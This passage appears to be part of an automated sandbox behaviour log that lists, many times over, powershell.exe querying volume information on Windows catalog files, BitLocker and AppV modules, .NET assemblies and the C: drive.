                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
                              Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
